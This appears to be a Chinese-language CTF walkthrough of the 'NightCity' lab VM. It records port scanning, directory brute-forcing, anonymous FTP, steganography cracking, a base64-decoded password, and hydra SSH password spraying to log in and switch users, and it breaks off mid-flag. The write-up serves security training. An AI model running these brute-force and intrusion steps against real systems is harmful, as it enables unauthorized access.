![\"image-20250610235946862\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209158.png\")
<\/div>\n
![\"image-20250611000748513\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209159.png\")
<\/div><\/p>\n\u4fe1\u606f\u641c\u96c6<\/h2>\n\u7aef\u53e3\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nRustScan: Exploring the digital landscape, one IP at a time.\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.10.105:21\nOpen 192.168.10.105:22\nOpen 192.168.10.105:80\n\nPORT STATE SERVICE REASON VERSION\n21\/tcp open ftp syn-ack ttl 64 vsftpd 2.0.8 or later\n| ftp-syst: \n| STAT: \n| FTP server status:\n| Connected to 192.168.10.106\n| Logged in as ftp\n| TYPE: ASCII\n| No session bandwidth limit\n| Session timeout in seconds is 300\n| Control connection is plain text\n| Data connections will be plain text\n| At session startup, client count was 3\n| vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n|_drwxrwxrwx 2 0 0 4096 Jun 09 2022 reminder [NSE: writeable]\n22\/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 2048 ce:ac:1c:04:d6:f6:64:d6:d9:9d:88:c9:0d:66:a9:45 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg0hWxl3bxSzzZNd+khD0gsax\/BKxpgSokX+YNR9qlWd472Usw2A89TxEd\/kX\/E+jhzoTcNkHSC2fD1k+HOCxcCepciA\/URvncuq14eRsTmKZZvDyxv6GM3K4ImESyao1h3VLGhsi2PVkDEl0FRUq\/VDu6eV5lKCbqhBvu7x2S0h3y9oswcwdQg416n8EQt05HaKjTUhs5o7Bn3qSnB6DLIb7m+PjfTqEtRz+xREd4JO\/ZFS8GeGVjY1bINMlQkOb7wPFfkAliKtH5RrLSH01xdVH1LENPzckSDdwUlNfGrfrF9IjmlTqs11VG\/mMe\/k3HhpVJJAV5mUFYC82+u1H7\n| 256 4f:f1:7b:69:5c:47:b2:91:b8:d2:2f:82:73:b7:fc:03 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLKNPh3DeZrMYPPzC9eqiYl3qj5NgTmO4cQggBcm+6Rurlr\/62SPZg0vusxQqUPWu4Mh3aLIXWKvClMD5xRBeVw=\n| 256 65:6b:3b:8c:89:81:4d:f3:98:98:5a:ed:57:cf:58:c9 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKCn8PIIg7Le9a2M+piz2m281CaS68sL6vCSUlufOxMa\n80\/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))\n|_http-title: NightCity Web Server\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n| http-methods: \n|_ Supported Methods: HEAD GET POST OPTIONS\nMAC Address: 08:00:27:2F:24:00 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html,zip\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/192.168.10.105\/\n[+] Method: GET\n[+] Threads: 10\n[+] Wordlist: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.6\n[+] Extensions: txt,html,zip,php\n[+] Timeout: 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html (Status: 200) [Size: 8407]\n\/.html (Status: 403) [Size: 279]\n\/images (Status: 301) [Size: 317] [--> http:\/\/192.168.10.105\/images\/]\n\/about.html (Status: 200) [Size: 7744]\n\/contact.html (Status: 200) [Size: 6349]\n\/gallery.html (Status: 200) [Size: 8768]\n\/js (Status: 301) [Size: 313] [--> http:\/\/192.168.10.105\/js\/]\n\/robots.txt (Status: 200) [Size: 136]\n\/secret (Status: 301) [Size: 317] [--> http:\/\/192.168.10.105\/secret\/]\n\/robin (Status: 200) [Size: 1873]\n\/.html (Status: 403) [Size: 279]\n\/server-status (Status: 403) [Size: 279]<\/code><\/pre>\n\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n\u8e29\u70b9<\/h3>\n
![\"image-20250611001021142\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div>
\n<\/div><\/p>\n\u654f\u611f\u76ee\u5f55<\/h3>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ curl -s http:\/\/$IP\/robots.txt \n#Good Job\n\nTo continue, you need a workmate. Our lastest news is that Robin is close to\nNightCity. Try to find him, Robin has the key!!<\/code><\/pre>\n\u53d1\u73b0\u4e86\u4e00\u4e2a\u4eba\u540d\u5b57\u53ebRobin<\/code>\uff0c\u8fd9\u4e2a\u4eba\u6709\u6211\u4eec\u60f3\u8981\u7684\u4e1c\u897f\u3002<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ curl -s http:\/\/$IP\/secret\/ | html2text\n****** Index of \/secret ******\n[[ICO]] Name Last modified Size Description\n===========================================================================\n[[PARENTDIR]] Parent Directory - \n[[IMG]] most-wanted.jpg 2022-06-09 19:43 128K \n[[IMG]] some-light.jpg 2022-06-09 19:42 214K \n[[IMG]] veryImportant.jpg 2022-06-03 13:33 185K \n===========================================================================\n Apache\/2.4.29 (Ubuntu) Server at 192.168.10.105 Port 80\n\n# wget http:\/\/$IP\/secret\/most-wanted.jpg\n# wget http:\/\/$IP\/secret\/some-light.jpg \n# wget http:\/\/$IP\/secret\/veryImportant.jpg\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ exiftool * \n======== most-wanted.jpg\nExifTool Version Number : 13.10\nFile Name : most-wanted.jpg\nDirectory : .\nFile Size : 131 kB\nFile Modification Date\/Time : 2022:06:09 13:43:07-04:00\nFile Access Date\/Time : 2025:06:10 12:13:20-04:00\nFile Inode Change Date\/Time : 2025:06:10 12:13:20-04:00\nFile Permissions : -rw-rw-r--\nFile Type : JPEG\nFile Type Extension : jpg\nMIME Type : image\/jpeg\nJFIF Version : 1.01\nResolution Unit : None\nX Resolution : 1\nY Resolution : 1\nImage Width : 1334\nImage Height : 750\nEncoding Process : Baseline DCT, Huffman coding\nBits Per Sample : 8\nColor Components : 3\nY Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)\nImage Size : 1334x750\nMegapixels : 1.0\n======== some-light.jpg\nExifTool Version Number : 13.10\nFile Name : some-light.jpg\nDirectory : .\nFile Size : 219 kB\nFile Modification Date\/Time : 2022:06:09 13:42:53-04:00\nFile Access Date\/Time : 2025:06:10 12:13:30-04:00\nFile Inode Change Date\/Time : 2025:06:10 12:13:30-04:00\nFile Permissions : -rw-rw-r--\nFile Type : JPEG\nFile Type Extension : jpg\nMIME Type : image\/jpeg\nExif Byte Order : Big-endian (Motorola, MM)\nX Resolution : 72\nY Resolution : 72\nResolution Unit : inches\nY Cb Cr Positioning : Centered\nGPS Version ID : 2.3.0.0\nGPS Latitude Ref : North\nGPS Longitude Ref : East\nXMP Toolkit : Image::ExifTool 12.41\nDescription : 26\u00ba21'28.59"N,127\u00ba47'0.99"E\nAuthor : GothamCity\nImage Width : 2048\nImage Height : 1179\nEncoding Process : Baseline DCT, Huffman coding\nBits Per Sample : 8\nColor Components : 3\nY Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)\nImage Size : 2048x1179\nMegapixels : 2.4\nGPS Latitude : 26 deg 21' 28.59" N\nGPS Longitude : 127 deg 47' 0.99" E\nGPS Position : 26 deg 21' 28.59" N, 127 deg 47' 0.99" E\n======== veryImportant.jpg\nExifTool Version Number : 13.10\nFile Name : veryImportant.jpg\nDirectory : .\nFile Size : 190 kB\nFile Modification Date\/Time : 2022:06:03 07:33:09-04:00\nFile Access Date\/Time : 2025:06:10 12:13:39-04:00\nFile Inode Change Date\/Time : 2025:06:10 12:13:39-04:00\nFile Permissions : -rw-rw-r--\nFile Type : JPEG\nFile Type Extension : jpg\nMIME Type : image\/jpeg\nJFIF Version : 1.02\nResolution Unit : None\nX Resolution : 1\nY Resolution : 1\nImage Width : 1200\nImage Height : 740\nEncoding Process : Baseline DCT, Huffman coding\nBits Per Sample : 8\nColor Components : 3\nY Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)\nImage Size : 1200x740\nMegapixels : 0.888\n 3 image files read<\/code><\/pre>\n\u63a5\u7740\u770bRobin<\/code>\u76ee\u5f55\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ curl -s http:\/\/$IP\/robin | html2text\n****** BATMAN Y ROBIN VOL. 01. PARTE I. ******\nHay un nuevo D\u00c3\u00bao Din\u00c3\u00a1mico en la ciudad. Tras la desaparici\u00c3\u00b3n de Bruce Wayne,\ny concluida La Batalla por la Capucha, el Hombre Murci\u00c3\u00a9lago es ahora Dick\nGrayson. Pero tendr\u00c3\u00a1 que llevar a cabo su misi\u00c3\u00b3n como justiciero junto a un\nacompa\u00c3\u00b1ante imprevisto: Damian Wayne, hijo de Bruce y Talia al Ghul, ha\nasumido el papel de Robin... despu\u00c3\u00a9s de que Tim Drake, el anterior titular,\nhaya adoptado otra identidad y emprendido una dif\u00c3\u00adcil b\u00c3\u00basqueda destinada a\narrojar incre\u00c3\u00adbles resultados sobre el verdadero destino del mentor de todos\nellos. Sin embargo, mientras tanto, Dick y Damian deber\u00c3\u00a1n afrontar una Gotham\nque parece m\u00c3\u00a1s enloquecida que nunca: a villanos cada vez m\u00c3\u00a1s ins\u00c3\u00b3litos,\nentre ellos el Profesor Pyg y los dem\u00c3\u00a1s miembros de su Circo de lo Extra\u00c3\u00b1o,\nse une el regreso de otro excompa\u00c3\u00b1ero de Batman. Jason Todd, alias Capucha\nRoja, no solo cuenta con alguien muy sorprendente para ayudarle... \u00c2\u00a1tambi\u00c3\u00a9n\nest\u00c3\u00a1 decidido a poner fin al reinado de los nuevos Batman y Robin antes\nincluso de que empiece!\nGrant Morrison y Frank Quitely, un t\u00c3\u00a1ndem con obras tan reconocidas como All-\nStar Superman y New X-Men, toma las riendas de la primera colecci\u00c3\u00b3n del\nCaballero Oscuro y el Chico Maravilla que lleva sus nombres en el t\u00c3\u00adtulo...\naunque los integrantes de este equipo no sean los habituales ni por asomo.\nJunto a Philip Tan (Batman del Futuro: La ciudad de japon), los dos aclamados\nautores escoceses abren una etapa repleta de innovadores conceptos y\nsituaciones sin parang\u00c3\u00b3n que no dejar\u00c3\u00a1n indiferente a ning\u00c3\u00ban lector. Lo\ndemuestran a la perfecci\u00c3\u00b3n los dos arcos argumentales iniciales de la serie,\nBatman renacido y La venganza de Capucha Roja, que se incluyen \u00c3\u00adntegramente en\neste tomo de Batman Saga<\/code><\/pre>\n\u770b\u4e0d\u61c2\uff0c\u6d4f\u89c8\u5668\u7ffb\u8bd1\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\nemmmmmm\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n
ftp\u670d\u52a1\u63a2\u6d4b<\/h3>\n
\u53d1\u73b0\u5f00\u653e\u4e86ftp<\/code>\u670d\u52a1\uff0c\u4e14\u5141\u8bb8\u533f\u540d\u767b\u5f55\uff0c\u5c1d\u8bd5\u767b\u5f55\u4e00\u4e0b\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ lftp $IP\nlftp 192.168.10.105:~> dir\ndrwxrwxrwx 2 0 0 4096 Jun 09 2022 reminder\nlftp 192.168.10.105:\/> cd reminder\/\nlftp 192.168.10.105:\/reminder> dir\n-rwxr-xr-x 1 0 0 33 Jun 09 2022 reminder.txt\nlftp 192.168.10.105:\/reminder> get reminder.txt \n33 bytes transferred \nlftp 192.168.10.105:\/reminder> exit\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cat reminder.txt \nLocal user is in the coordinates<\/code><\/pre>\n\u6587\u4ef6\u9690\u85cf\u4fe1\u606f<\/h3>\n
\u4e4b\u524d\u4e09\u4e2a\u56fe\u7247\u5565\u4e1c\u897f\u90fd\u6ca1\u6709\uff0c\u770b\u4e00\u4e0b\u662f\u5426\u662f\u4e00\u4e2amisc<\/code>\uff0c\u8fdb\u884c\u63d0\u53d6\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek most-wanted.jpg\nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Found passphrase: "japon" \n[i] Original filename: "pass.txt".\n[i] Extracting to "most-wanted.jpg.out".\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek some-light.jpg \nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Progress: 99.48% (132.7 MB) \n[!] error: Could not find a valid passphrase.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek veryImportant.jpg\nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Progress: 99.99% (133.4 MB) \n[!] error: Could not find a valid passphrase.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cat most-wanted.jpg.out \nVGhpc0lzVGhlUmVhbFBhc3N3MHJkIQ==\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cat most-wanted.jpg.out | base64 -d\nThisIsTheRealPassw0rd!<\/code><\/pre>\n\u62ff\u5230\u4e86\u5bc6\u7801\uff1f\uff1f\uff1f\uff1f\u5c1d\u8bd5\u641c\u5bfb\u4e00\u4e0b\u7528\u6237\u540d\uff0c\u53ef\u80fd\u85cf\u5728\u521a\u521a\u90a3\u4e00\u5806\u5173\u4e8e\u8759\u8760\u4fa0\u7684\u6bb5\u843d\u91cc\uff0c\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cewl http:\/\/$IP\/robin --lowercase > dict\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cat dict | grep robin \nCeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https:\/\/digi.ninja\/)\nrobin\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ hydra -L dict -p ThisIsTheRealPassw0rd! -f ssh:\/\/192.168.10.105:22 2>\/dev\/null\nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2025-06-10 12:35:07\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 176 login tries (l:176\/p:1), ~11 tries per task\n[DATA] attacking ssh:\/\/192.168.10.105:22\/\n[22][ssh] host: 192.168.10.105 login: batman password: ThisIsTheRealPassw0rd!\n[STATUS] attack finished for 192.168.10.105 (valid pair found)\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2025-06-10 12:35:09<\/code><\/pre>\n\u62ff\u5230\u4e86\u4e00\u4e2a\u7528\u6237\u51ed\u8bc1\uff01<\/p>\n
batman:ThisIsTheRealPassw0rd!<\/code><\/pre>\n\u8fdb\u884cssh<\/code>\u767b\u5f55\uff1a<\/p>\n<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\nbatman@NightCity:~$ ls -la\ntotal 308\ndrwxr-xr-x 5 batman batman 4096 jun 15 2022 .\ndrwxr-xr-x 6 root root 4096 jun 9 2022 ..\n-rw------- 1 batman batman 972 jun 15 2022 .bash_history\n-rw-r--r-- 1 batman batman 220 jun 8 2022 .bash_logout\n-rw-r--r-- 1 batman batman 3771 jun 8 2022 .bashrc\ndrwx------ 2 batman batman 4096 jun 9 2022 .cache\n-rw-r--r-- 1 root root 66 jun 9 2022 flag.txt\ndrwx------ 3 batman batman 4096 jun 9 2022 .gnupg\n-rw-rw-r-- 1 administrator administrator 272105 jun 9 2022 iknowyou.jpg\ndrwxrwxr-x 3 batman batman 4096 jun 15 2022 .local\n-rw-r--r-- 1 batman batman 807 jun 8 2022 .profile\nbatman@NightCity:~$ cat flag.txt \nNice try! but, this is not the flag. You have to keep working >:)\nbatman@NightCity:~$ sudo -l\n[sudo] contrase\u00f1a para batman: \nLo sentimos, el usuario batman no puede ejecutar sudo en NightCity.\nbatman@NightCity:~$ file iknowyou.jpg\niknowyou.jpg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=0], baseline, precision 8, 1200x454, frames 3<\/code><\/pre>\n\u5c06\u6587\u4ef6\u4f20\u5230\u672c\u5730\u8fdb\u884c\u67e5\u770b\uff1a<\/p>\n
# wget http:\/\/$IP:8888\/iknowyou.jpg\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek iknowyou.jpg \nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Progress: 99.99% (133.4 MB) \n[!] error: Could not find a valid passphrase.<\/code><\/pre>\n\u56fe\u7247\u9690\u85cf\u4fe1\u606f<\/h3>\n
\u987a\u4fbf\u770b\u4e00\u4e0b\u524d\u51e0\u4e2a\u56fe\u7247\u770b\u770b\u662f\u5565\u6837\u7684\uff1a<\/p>\n
some-light.jpg<\/code><\/p>\n<\/div><\/p>\nveryImportant.jpg<\/code><\/p>\n<\/div><\/p>\nmost-wanted.jpg<\/code><\/p>\n<\/div><\/p>\niknowyou.jpg<\/code><\/p>\n<\/div><\/p>\n\u6700\u540e\u4e00\u4e2a\u56fe\u7247\u80af\u5b9a\u6709\u95ee\u9898\uff0c\u5c1d\u8bd5\u4f7f\u7528rockyou<\/code>\u5b57\u5178\u8fdb\u884c\u63a2\u6d4b\u4e00\u4e0b\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek -wl \/usr\/share\/wordlists\/rockyou.txt iknowyou.jpg -v \nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\nbased on steghide version 0.5.1\n\n[v] Using stegofile "iknowyou.jpg".\n[v] Running on 2 threads.\n[v] Using wordlist file "\/usr\/share\/wordlists\/rockyou.txt".\n[v] Added password guess: "".\n[v] Added password guess: "iknowyou.jpg".\n[v] Added password guess: "iknowyou".\n[i] Progress: 99.99% (133.4 MB) \n[!] error: Could not find a valid passphrase.<\/code><\/pre>\n\u5c1d\u8bd5\u4f7f\u7528stegsolve<\/code>\u5206\u79bb\u56fe\u5c42\u770b\u770b\uff1a<\/p>\n<\/div><\/p>\n\u9690\u7ea6\u53ef\u4ee5\u770b\u5230\u70df\u56f1\u6709\u4e9b\u5b57\uff0c\u4f46\u662f\u770b\u4e0d\u6e05<\/p>\n
<\/div><\/p>\n\u597d\u50cf\u662fThatMadeMeLAugh<\/code>\uff0c\u4f46\u662f\u4e0d\u786e\u5b9a\uff0c\u5c1d\u8bd5\u4f7f\u7528ps<\/code>\u8fdb\u884c\u5904\u7406\uff0c\u9009\u62e9"\u56fe\u50cf" > "\u8c03\u6574" > "\u66f2\u7ebf"\uff0c\u901a\u8fc7\u8c03\u6574\u66f2\u7ebf\u6765\u63a7\u5236\u56fe\u7247\u7684\u4eae\u5ea6\u548c\u6697\u90e8\uff1a<\/p>\n<\/div><\/p>\n\u7206\u7834<\/h3>\n
\u770b\u51fa\u6765\u662fThatMadeMeL4ugh!<\/code>\uff0c\u53c8\u60f3\u5230\u4e4b\u524d\u7ed9\u51fa\u7684\u63d0\u793a\uff0c\u5c1d\u8bd5\u518d\u6b21\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n\nUser Flag -> Password of the first user accessing the system. Root Flag -> Password of the user who can see flag.txt<\/p>\n<\/blockquote>\n
batman@NightCity:~$ cat \/etc\/passwd | grep sh | cut -d: -f1\nroot\nadministrator\njoker\nbatman\nsshd\nanonymous<\/code><\/pre>\n\u5b58\u4e00\u4e0b\uff0c\u5c1d\u8bd5\u7206\u7834\uff1a<\/p>\n
<\/div><\/p>\n\u5c1d\u8bd5\u8fdb\u884c\u5207\u6362\uff1a<\/p>\n
<\/div><\/p>\n\u5c1d\u8bd5\u770b\u4e00\u4e0b\u4f5c\u8005\u63d0\u5230\u7684\u90a3\u4e2aflag.txt<\/code>\u5728\u54ea\uff1a<\/p>\njoker@NightCity:\/home$ cd .joker\njoker@NightCity:\/home\/.joker$ ls -la\ntotal 28\ndrwxrwx--- 2 joker joker 4096 jun 13 2022 .\ndrwxr-xr-x 6 root root 4096 jun 9 2022 ..\n-rwxrwx--- 1 joker joker 220 jun 8 2022 .bash_logout\n-rwxrwx--- 1 joker joker 3771 jun 8 2022 .bashrc\n-rw-r--r-- 1 root root 7157 jun 9 2022 flag.txt\n-rwxrwx--- 1 joker joker 807 jun 8 2022 .profile\njoker@NightCity:\/home\/.joker$ cat flag.txt \n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28e0\u28f4\u28e4\u28f6\u2876\u281b\u2809\u2809\u2800\u28c0\u28c0\u28c0\u28e4\u28e4\u28e4\u28f6\u28f6\u28d2\u28db\u28c9\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u28f4\u28ff\u28ff\u28ff\u287f\u280b\u2880\u28e0\u28f4\u28f6\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f7\u28f6\u28a4\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u2874\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f7\u28fe\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u287f\u28df\u287d\u28df\u28eb\u28ed\u28f6\u28f6\u28ff\u28ff\u28e6\u28c4\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28a0\u280f\u2800\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u283f\u280b\u2819\u2809\u2801\u2800\u28bf\u28ff\u28ff\u28ff\u28ff\u287f\u283f\u283f\u28ff\u287f\u28f6\u28e6\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u2844\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u28f4\u2803\u2800\u2800\u2808\u283b\u283f\u283f\u283f\u283f\u281f\u281b\u2809\u2801\u2819\u283f\u283f\u281b\u280b\u2809\u2800\u2800\u2800\u2880\u28e0\u28f4\u28f6\u28fe\u28ff\u28ff\u28ff\u28ff\u28f7\u28f6\u28e6\u28d9\u283b\u28bf\u28ff\u28ff\u28ff\u28f6\u28f6\u28f6\u28e6\u28e4\u28e4\u28f4\u28b6\u28fe\u281f\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2830\u284f\u28f4\u28c4\u2800\u2800\u2800\u2800\u2800\u2880\u28e0\u28f4\u28e4\u28c4\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28f4\u28f6\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28e6\u2849\u2819\u281b\u281b\u281b\u281b\u281b\u2809\u28c9\u2874\u289f\u28e1\u28f4\u280f\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2833\u28ff\u28ff\u28f7\u28e6\u28c0\u2800\u28a0\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f6\u2844\u2800\u28c0\u28f6\u28ff\u28ff\u287f\u283f\u281f\u281b\u281b\u281b\u281b\u281b\u281b\u281b\u283f\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f6\u2800\u2800\u2800\u2800\u28f0\u28fe\u28f7\u28fe\u28ff\u287f\u2803\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u281b\u283f\u28ff\u28ff\u28f7\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28e3\u289e\u28ed\u283f\u280b\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2820\u28e4\u28e4\u28f6\u28fe\u28ff\u28ff\u28ff\u28ef\u28ed\u28ff\u28ff\u28f6\u28f6\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u285f\u2801\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2809\u281b\u28bf\u287f\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u2875\u280b\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28bb\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u280f\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28fc\u2800\u2800\u2809\u2809\u281b\u283f\u283f\u280f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2819\u28fb\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u283f\u283f\u28bf\u28ff\u28ff\u281f\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28a0\u2807\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2876\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u283f\u28ff\u28ff\u28ff\u28ff\u28ff\u281f\u2801\u2800\u28e0\u28f6\u28ff\u2807\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28fc\u2800\u2800\u2800\u2800\u2800\u2808\u2833\u28c4\u2800\u2800\u2800\u28fe\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u28e4\u2800\u2808\u283b\u28ff\u28ff\u284f\u2800\u28f0\u280a\u2831\u281b\u2846\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u285f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2833\u28c4\u2808\u2801\u2800\u2800\u2800\u2800\u28c0\u28c0\u28e0\u2824\u2836\u2836\u283f\u28eb\u281f\u2801\u2800\u2800\u2800\u2808\u283b\u28c1\u28fc\u2817\u28ff\u2800\u28a0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28